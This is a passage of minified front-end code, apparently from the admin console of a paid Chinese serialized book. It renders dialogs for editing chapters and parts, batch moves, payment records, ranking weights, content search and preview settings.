text-sm",children:"强制置顶到小程序首页"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"文章类型"}),s.jsxs("div",{className:"flex items-center gap-4 h-10",children:[s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"new-edition-type",checked:T.editionPremium!==!0,onChange:()=>I({...T,editionStandard:!0,editionPremium:!1}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"普通版"})]}),s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"new-edition-type",checked:T.editionPremium===!0,onChange:()=>I({...T,editionStandard:!1,editionPremium:!0}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"增值版"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"热度分"}),s.jsx(se,{type:"number",step:"0.1",min:"0",className:"bg-[#0a1628] border-gray-700 text-white",value:T.hotScore??0,onChange:M=>I({...T,hotScore:Math.max(0,parseFloat(M.target.value)||0)})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节标题 *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"输入章节标题",value:T.title,onChange:M=>I({...T,title:M.target.value})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"所属篇"}),s.jsxs(hl,{value:T.partId,onValueChange:M=>{var me;const Q=Dn.find(Ne=>Ne.id===M);I({...T,partId:M,chapterId:((me=Q==null?void 0:Q.chapters[0])==null?void 0:me.id)??"chapter-1"})},children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{})}),s.jsxs(ro,{className:"bg-[#0f2137] border-gray-700",children:[Dn.map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id)),Dn.length===0&&s.jsx(_r,{value:"part-1",className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:"默认篇"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"所属章"}),s.jsxs(hl,{value:T.chapterId,onValueChange:M=>I({...T,chapterId:M}),children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{})}),s.jsxs(ro,{className:"bg-[#0f2137] border-gray-700",children:[Nt.map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id)),Nt.length===0&&s.jsx(_r,{value:"chapter-1",className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:"默认章"})]})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"内容(富文本编辑器,支持 @链接AI人物 和 #链接标签)"}),s.jsx(Ex,{content:T.content||"",onChange:M=>I({...T,content:M}),onImageUpload:async M=>{var st;const Q=new FormData;Q.append("file",M),Q.append("folder","book-images");const Ne=await(await fetch(go("/api/upload"),{method:"POST",body:Q,headers:{Authorization:`Bearer ${localStorage.getItem("admin_token")||""}`}})).json();return((st=Ne==null?void 0:Ne.data)==null?void 0:st.url)||(Ne==null?void 0:Ne.url)||""},persons:Wr,linkTags:pe,placeholder:"开始编辑内容... 输入 @ 可链接AI人物,工具栏可插入 #链接标签"})]})]}),s.jsxs(on,{className:"shrink-0 px-6 py-4 border-t border-gray-700/50",children:[s.jsx(te,{variant:"outline",onClick:()=>h(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:gr,disabled:g||!T.id||!T.title,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:g?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-2 animate-spin"}),"创建中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"创建章节"]})})]})]})}),s.jsx(Dt,{open:!!O,onOpenChange:M=>!M&&L(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),"编辑篇名"]})}),O&&s.jsx("div",{className:"space-y-4 py-4",children:s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"篇名"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:O.title,onChange:M=>L({...O,title:M.target.value}),placeholder:"输入篇名"})]})}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>L(null),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:Un,disabled:R||!((Kl=O==null?void 0:O.title)!=null&&Kl.trim()),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:R?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-2 animate-spin"}),"保存中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存"]})})]})]})}),s.jsx(Dt,{open:!!ne,onOpenChange:M=>!M&&fe(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),"编辑章节名称"]})}),ne&&s.jsx("div",{className:"space-y-4 py-4",children:s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节名称(如:第8章|底层结构)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:ne.title,onChange:M=>fe({...ne,title:M.target.value}),placeholder:"输入章节名称"})]})}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>fe(null),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:na,disabled:xe||!((ql=ne==null?void 0:ne.title)!=null&&ql.trim()),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:xe?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-2 animate-spin"}),"保存中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存"]})})]})]})}),s.jsx(Dt,{open:P,onOpenChange:M=>{var Q;if(q(M),M&&Dn.length>0){const me=Dn[0];_(me.id),le(((Q=me.chapters[0])==null?void 0:Q.id)??"")}},children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"批量移动至指定目录"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["已选 ",s.jsx("span",{className:"text-[#38bdac] font-medium",children:H.length})," 节,请选择目标篇与章。"]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"目标篇"}),s.jsxs(hl,{value:B,onValueChange:M=>{var me;_(M);const Q=Dn.find(Ne=>Ne.id===M);le(((me=Q==null?void 0:Q.chapters[0])==null?void 0:me.id)??"")},children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{placeholder:"选择篇"})}),s.jsx(ro,{className:"bg-[#0f2137] border-gray-700",children:Dn.map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"目标章"}),s.jsxs(hl,{value:W,onValueChange:le,children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{placeholder:"选择章"})}),s.jsx(ro,{className:"bg-[#0f2137] border-gray-700",children:(((Oo=Dn.find(M=>M.id===B))==null?void 0:Oo.chapters)??[]).map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id))})]})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>q(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:Oa,disabled:J||H.length===0,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:J?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-2 animate-spin"}),"移动中..."]}):"确认移动"})]})]})}),s.jsx(Dt,{open:!!ye,onOpenChange:M=>!M&&Re(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-3xl max-h-[85vh] overflow-hidden flex flex-col",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white",children:["付款记录 — ",(ye==null?void 0:ye.section.title)??""]})}),s.jsx("div",{className:"flex-1 overflow-y-auto py-2",children:Le?s.jsxs("div",{className:"flex items-center justify-center py-8",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):ye&&ye.orders.length===0?s.jsx("p",{className:"text-gray-500 text-center py-6",children:"暂无付款记录"}):ye?s.jsxs("table",{className:"w-full text-sm border-collapse",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-gray-700 text-left text-gray-400",children:[s.jsx("th",{className:"py-2 pr-2",children:"订单号"}),s.jsx("th",{className:"py-2 pr-2",children:"用户ID"}),s.jsx("th",{className:"py-2 pr-2",children:"金额"}),s.jsx("th",{className:"py-2 pr-2",children:"状态"}),s.jsx("th",{className:"py-2 pr-2",children:"支付时间"})]})}),s.jsx("tbody",{children:ye.orders.map(M=>s.jsxs("tr",{className:"border-b border-gray-700/50",children:[s.jsx("td",{className:"py-2 pr-2",children:s.jsx("button",{className:"text-blue-400 hover:text-blue-300 hover:underline text-left truncate max-w-[180px] block",title:`查看订单 ${M.orderSn}`,onClick:()=>window.open(`/orders?search=${M.orderSn??M.id??""}`,"_blank"),children:M.orderSn?M.orderSn.length>16?M.orderSn.slice(0,8)+"..."+M.orderSn.slice(-6):M.orderSn:"-"})}),s.jsx("td",{className:"py-2 pr-2",children:s.jsx("button",{className:"text-[#38bdac] hover:text-[#2da396] hover:underline text-left truncate max-w-[140px] block",title:`查看用户 ${M.userId??M.openId??""}`,onClick:()=>window.open(`/users?search=${M.userId??M.openId??""}`,"_blank"),children:(()=>{const Q=M.userId??M.openId??"-";return Q.length>12?Q.slice(0,6)+"..."+Q.slice(-4):Q})()})}),s.jsxs("td",{className:"py-2 pr-2 text-gray-300",children:["¥",M.amount??0]}),s.jsx("td",{className:"py-2 pr-2 text-gray-300",children:M.status??"-"}),s.jsx("td",{className:"py-2 pr-2 text-gray-500",children:M.payTime??M.createdAt??"-"})]},M.id??M.orderSn??""))})]}):null})]})}),s.jsx(Dt,{open:Tt,onOpenChange:ln,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Cu,{className:"w-5 h-5 text-amber-400"}),"文章排名算法"]})}),s.jsxs("div",{className:"space-y-4 py-2",children:[s.jsx("p",{className:"text-sm text-gray-400",children:"热度积分 = 阅读权重×阅读排名分 + 新度权重×新度排名分 + 付款权重×付款排名分(三权重之和须为 1)"}),In?s.jsx("p",{className:"text-gray-500",children:"加载中..."}):s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"阅读权重"}),s.jsx(se,{type:"number",step:"0.1",min:"0",max:"1",className:"bg-[#0a1628] border-gray-700 text-white",value:yt.readWeight,onChange:M=>nn(Q=>({...Q,readWeight:Math.max(0,Math.min(1,parseFloat(M.target.value)||0))}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"新度权重"}),s.jsx(se,{type:"number",step:"0.1",min:"0",max:"1",className:"bg-[#0a1628] border-gray-700 text-white",value:yt.recencyWeight,onChange:M=>nn(Q=>({...Q,recencyWeight:Math.max(0,Math.min(1,parseFloat(M.target.value)||0))}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"付款权重"}),s.jsx(se,{type:"number",step:"0.1",min:"0",max:"1",className:"bg-[#0a1628] border-gray-700 text-white",value:yt.payWeight,onChange:M=>nn(Q=>({...Q,payWeight:Math.max(0,Math.min(1,parseFloat(M.target.value)||0))}))})]})]}),s.jsxs("p",{className:"text-xs text-gray-500",children:["当前之和: ",(yt.readWeight+yt.recencyWeight+yt.payWeight).toFixed(1)]}),s.jsxs("ul",{className:"list-disc list-inside space-y-1 text-xs text-gray-400",children:[s.jsx("li",{children:"阅读量前 20 名:第1名=20分、第2名=19分...第20名=1分"}),s.jsx("li",{children:"最近更新前 30 篇:第1名=30分、第2名=29分...第30名=1分"}),s.jsx("li",{children:"付款数前 20 名:第1名=20分、第2名=19分...第20名=1分"}),s.jsx("li",{children:"热度分可在编辑章节中手动覆盖"})]}),s.jsx(te,{onClick:Ro,disabled:Yt||Math.abs(yt.readWeight+yt.recencyWeight+yt.payWeight-1)>.001,className:"w-full bg-amber-500 hover:bg-amber-600 text-white",children:Yt?"保存中...":"保存权重"})]})]})]})}),s.jsx(Dt,{open:z,onOpenChange:Z,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(hn,{className:"w-5 h-5 text-amber-400"}),"新建篇"]})}),s.jsx("div",{className:"space-y-4 py-4",children:s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"篇名(如:第六篇|真实的社会)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:V,onChange:M=>re(M.target.value),placeholder:"输入篇名"})]})}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>{Z(!1),re("")},className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:_i,disabled:ue||!V.trim(),className:"bg-amber-500 hover:bg-amber-600 text-white",children:ue?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-2 animate-spin"}),"创建中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"创建篇"]})})]})]})}),s.jsx(Dt,{open:!!o,onOpenChange:()=>c(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white inset-0 translate-x-0 translate-y-0 w-screen h-screen max-w-none max-h-none rounded-none flex flex-col p-0 gap-0",showCloseButton:!0,children:[s.jsx(Lt,{className:"shrink-0 px-6 pt-6 pb-2",children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),"编辑章节"]})}),o&&s.jsxs("div",{className:"flex-1 overflow-y-auto min-h-0 px-6 space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:o.id,onChange:M=>c({...o,id:M.target.value}),placeholder:"如: 9.15"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:o.isFree?0:o.price,onChange:M=>c({...o,price:Number(M.target.value),isFree:Number(M.target.value)===0}),disabled:o.isFree})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"免费"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:o.isFree||o.price===0,onChange:M=>c({...o,isFree:M.target.checked,price:M.target.checked?0:1}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"设为免费"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最新新增"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:o.isNew??!1,onChange:M=>c({...o,isNew:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"标记 NEW"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"小程序直推"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:o.isPinned??!1,onChange:M=>c({...o,isPinned:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-amber-400 focus:ring-amber-400"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"强制置顶到小程序首页"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"文章类型"}),s.jsxs("div",{className:"flex items-center gap-4 h-10",children:[s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"edition-type",checked:o.editionPremium!==!0,onChange:()=>c({...o,editionStandard:!0,editionPremium:!1}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"普通版"})]}),s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"edition-type",checked:o.editionPremium===!0,onChange:()=>c({...o,editionStandard:!1,editionPremium:!0}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"增值版"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"热度分"}),s.jsx(se,{type:"number",step:"0.1",min:"0",className:"bg-[#0a1628] border-gray-700 text-white",value:o.hotScore??0,onChange:M=>c({...o,hotScore:Math.max(0,parseFloat(M.target.value)||0)})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:o.title,onChange:M=>c({...o,title:M.target.value})})]}),o.filePath&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"文件路径"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-gray-400 text-sm",value:o.filePath,disabled:!0})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"内容(富文本编辑器,支持 @链接AI人物 和 #链接标签)"}),f?s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700 rounded-md min-h-[400px] flex items-center justify-center",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsx(Ex,{ref:ds,content:o.content||"",onChange:M=>c({...o,content:M}),onImageUpload:async M=>{var st;const Q=new FormData;Q.append("file",M),Q.append("folder","book-images");const Ne=await(await fetch(go("/api/upload"),{method:"POST",body:Q,headers:{Authorization:`Bearer ${localStorage.getItem("admin_token")||""}`}})).json();return((st=Ne==null?void 0:Ne.data)==null?void 0:st.url)||(Ne==null?void 0:Ne.url)||""},persons:Wr,linkTags:pe,placeholder:"开始编辑内容... 输入 @ 可链接AI人物,工具栏可插入 #链接标签"})]})]}),s.jsxs(on,{className:"shrink-0 px-6 py-4 border-t border-gray-700/50",children:[o&&s.jsxs(te,{variant:"outline",onClick:()=>Ve({id:o.id,title:o.title,price:o.price}),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent mr-auto",children:[s.jsx(Br,{className:"w-4 h-4 mr-2"}),"付款记录"]}),s.jsxs(te,{variant:"outline",onClick:()=>c(null),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsx(te,{onClick:Nn,disabled:g,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:g?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-2 animate-spin"}),"保存中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存修改"]})})]})]})}),s.jsxs(yd,{defaultValue:"chapters",className:"space-y-6",children:[s.jsxs(Ll,{className:"bg-[#0f2137] border border-gray-700/50 p-1",children:[s.jsxs(Zt,{value:"chapters",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400",children:[s.jsx(Br,{className:"w-4 h-4 mr-2"}),"章节管理"]}),s.jsxs(Zt,{value:"ranking",className:"data-[state=active]:bg-amber-500/20 data-[state=active]:text-amber-400 text-gray-400",children:[s.jsx(Dg,{className:"w-4 h-4 mr-2"}),"内容排行榜"]}),s.jsxs(Zt,{value:"search",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400",children:[s.jsx(Na,{className:"w-4 h-4 mr-2"}),"内容搜索"]}),s.jsxs(Zt,{value:"link-person",className:"data-[state=active]:bg-purple-500/20 data-[state=active]:text-purple-400 text-gray-400",children:[s.jsx(Ss,{className:"w-4 h-4 mr-2"}),"链接人与事"]}),s.jsxs(Zt,{value:"link-tag",className:"data-[state=active]:bg-amber-500/20 data-[state=active]:text-amber-400 text-gray-400",children:[s.jsx(Bv,{className:"w-4 h-4 mr-2"}),"链接标签"]}),s.jsxs(Zt,{value:"linkedmp",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400",children:[s.jsx(yi,{className:"w-4 h-4 mr-2"}),"关联小程序"]})]}),s.jsxs(en,{value:"chapters",className:"space-y-4",children:[s.jsxs("div",{className:"rounded-2xl border border-gray-700/50 bg-[#1C1C1E] p-4 flex items-center justify-between shadow-sm",children:[s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{className:"w-12 h-12 rounded-xl bg-[#38bdac] flex items-center justify-center text-white shadow-lg shadow-[#38bdac]/20 shrink-0",children:s.jsx(Br,{className:"w-6 h-6"})}),s.jsxs("div",{children:[s.jsx("h2",{className:"font-bold text-base text-white leading-tight mb-1",children:"一场SOUL的创业实验场"}),s.jsx("p",{className:"text-xs text-gray-500",children:"来自Soul派对房的真实商业故事"})]})]}),s.jsxs("div",{className:"text-center shrink-0",children:[s.jsx("span",{className:"block text-2xl font-bold text-[#38bdac]",children:us}),s.jsx("span",{className:"text-xs text-gray-500",children:"章节"})]})]}),s.jsxs("div",{className:"flex flex-wrap gap-2",children:[s.jsxs(te,{onClick:()=>h(!0),className:"flex-1 min-w-[120px] bg-[#38bdac]/10 hover:bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/30",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新建章节"]}),s.jsxs(te,{onClick:()=>Z(!0),className:"flex-1 min-w-[120px] bg-amber-500/10 hover:bg-amber-500/20 text-amber-400 border border-amber-500/30",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新建篇"]}),s.jsxs(te,{variant:"outline",onClick:()=>q(!0),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:["批量移动(已选 ",H.length," 节)"]})]}),n?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsx(aV,{parts:Dn,expandedParts:a,onTogglePart:ea,onReorder:Rr,onReadSection:Ge,onDeleteSection:Pi,onAddSectionInPart:Po,onAddChapterInPart:ps,onDeleteChapter:Wl,onEditPart:Qt,onDeletePart:zi,onEditChapter:Os,selectedSectionIds:H,onToggleSectionSelect:Ul,onShowSectionOrders:Ve,pinnedSectionIds:Je})]}),s.jsx(en,{value:"search",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"内容搜索"})}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 flex-1",placeholder:"搜索标题或内容...",value:N,onChange:M=>w(M.target.value),onKeyDown:M=>M.key==="Enter"&&kd()}),s.jsx(te,{onClick:kd,disabled:C||!N.trim(),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:C?s.jsx(qe,{className:"w-4 h-4 animate-spin"}):s.jsx(Na,{className:"w-4 h-4"})})]}),v.length>0&&s.jsxs("div",{className:"space-y-2 mt-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["找到 ",v.length," 个结果"]}),v.map(M=>s.jsxs("div",{className:"p-3 rounded-lg bg-[#162840] hover:bg-[#1a3050] cursor-pointer transition-colors",onClick:()=>Ge({id:M.id,mid:M.mid,title:M.title,price:M.price??1,filePath:""}),children:[s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-[#38bdac] font-mono text-xs",children:M.id}),s.jsx("span",{className:"text-white",children:M.title}),Je.includes(M.id)&&s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})]}),s.jsx(We,{variant:"outline",className:"text-gray-400 border-gray-600 text-xs",children:M.matchType==="title"?"标题匹配":"内容匹配"})]}),M.snippet&&s.jsx("p",{className:"text-gray-500 text-xs mt-2 line-clamp-2",children:M.snippet}),(M.partTitle||M.chapterTitle)&&s.jsxs("p",{className:"text-gray-600 text-xs mt-1",children:[M.partTitle," · ",M.chapterTitle]})]},M.id))]})]})]})}),s.jsxs(en,{value:"ranking",className:"space-y-4",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{className:"pb-3",children:s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Cu,{className:"w-4 h-4 text-[#38bdac]"}),"内容显示规则"]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"flex items-center gap-4 flex-wrap",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(X,{className:"text-gray-400 text-sm whitespace-nowrap",children:"未付费预览比例"}),s.jsx(se,{type:"number",min:"1",max:"100",className:"bg-[#0a1628] border-gray-700 text-white w-20",value:gt,onChange:M=>Rt(Math.max(1,Math.min(100,Number(M.target.value)||20))),disabled:gn}),s.jsx("span",{className:"text-gray-500 text-sm",children:"%"})]}),s.jsx(te,{size:"sm",onClick:Pe,disabled:wr,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:wr?"保存中...":"保存"}),s.jsxs("span",{className:"text-xs text-gray-500",children:["小程序未付费用户默认显示文章前 ",gt,"% 内容"]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{className:"pb-3",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Dg,{className:"w-4 h-4 text-amber-400"}),"内容排行榜",s.jsxs("span",{className:"text-xs text-gray-500 font-normal ml-2",children:["按热度排行 · 共 ",Pn.length," 节"]})]}),s.jsxs("div",{className:"flex items-center gap-1 text-sm",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>Kr(),disabled:K,className:"text-gray-400 hover:text-white h-7 w-7 p-0",title:"刷新排行榜",children:s.jsx(qe,{className:`w-4 h-4 ${K?"animate-spin":""}`})}),s.jsx(te,{variant:"ghost",size:"sm",disabled:Rn<=1||K,onClick:()=>pr(M=>Math.max(1,M-1)),className:"text-gray-400 hover:text-white h-7 w-7 p-0",children:s.jsx(JT,{className:"w-4 h-4"})}),s.jsxs("span",{className:"text-gray-400 min-w-[60px] text-center",children:[Rn," / ",Rs]}),s.jsx(te,{variant:"ghost",size:"sm",disabled:Rn>=Rs||K,onClick:()=>pr(M=>Math.min(Rs,M+1)),className:"text-gray-400 hover:text-white h-7 w-7 p-0",children:s.jsx(pl,{className:"w-4 h-4"})})]})]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"space-y-0",children:[s.jsxs("div",{className:"grid grid-cols-[40px_40px_1fr_80px_80px_80px_60px] gap-2 px-3 py-2 text-xs text-gray-500 border-b 